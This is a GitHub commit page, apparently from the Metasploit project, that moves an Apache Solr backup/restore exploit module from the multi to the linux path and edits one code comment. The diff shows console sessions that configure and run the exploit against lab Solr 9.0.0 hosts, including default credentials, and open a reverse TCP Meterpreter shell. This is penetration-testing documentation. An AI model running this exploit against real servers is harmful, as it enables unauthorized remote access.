Skip to content

Commit

Permalink
Updated exploit file location
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Apr 1, 2024
1 parent 419d8f3 commit 63aa5a2
Show file tree
Hide file tree
Showing 2 changed files with 14 additions and 14 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -121,15 +121,15 @@ volumes:
### Apache Solr 9.0.0 (no Authentication)

```
msf6 > use multi/http/apache_solr_backup_restore
msf6 > use linux/http/apache_solr_backup_restore
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_solr_backup_restore) > set rhosts 127.0.0.1
msf6 exploit(linux/http/apache_solr_backup_restore) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/apache_solr_backup_restore) > set lhost 172.16.199.1
msf6 exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/apache_solr_backup_restore) > options
msf6 exploit(linux/http/apache_solr_backup_restore) > options

Module options (exploit/multi/http/apache_solr_backup_restore):
Module options (exploit/linux/http/apache_solr_backup_restore):

Name Current Setting Required Description
---- --------------- -------- -----------
Expand Down Expand Up @@ -169,7 +169,7 @@ Exploit target:

View the full module info with the info, or info -d command.

msf6 exploit(multi/http/apache_solr_backup_restore) > run
msf6 exploit(linux/http/apache_solr_backup_restore) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
Expand Down Expand Up @@ -199,17 +199,17 @@ meterpreter >
### Apache Solr 9.0.0 with Authentication
```
msf6 exploit(multi/http/apache_solr_backup_restore) > set password SolrRocks
msf6 exploit(linux/http/apache_solr_backup_restore) > set password SolrRocks
password => SolrRocks
msf6 exploit(multi/http/apache_solr_backup_restore) > set username solr
msf6 exploit(linux/http/apache_solr_backup_restore) > set username solr
username => solr
msf6 exploit(multi/http/apache_solr_backup_restore) > set rhost 172.16.199.132
msf6 exploit(linux/http/apache_solr_backup_restore) > set rhost 172.16.199.132
rhost => 172.16.199.132
msf6 exploit(multi/http/apache_solr_backup_restore) > set lhost 172.16.199.1
msf6 exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/apache_solr_backup_restore) > options
msf6 exploit(linux/http/apache_solr_backup_restore) > options

Module options (exploit/multi/http/apache_solr_backup_restore):
Module options (exploit/linux/http/apache_solr_backup_restore):

Name Current Setting Required Description
---- --------------- -------- -----------
Expand Down Expand Up @@ -249,7 +249,7 @@ Exploit target:

View the full module info with the info, or info -d command.

msf6 exploit(multi/http/apache_solr_backup_restore) > run
msf6 exploit(linux/http/apache_solr_backup_restore) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -335,7 +335,7 @@ def exploit
sleep(5)
print_status('Cleaning up...')

# Clean up collections and confs
# Clean up collections and configurations
# Delete the collection first then the configs or you'll get the following error:
# Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]
delete_collection_res = solr_get({
Expand Down

0 comments on commit 63aa5a2

Please sign in to comment.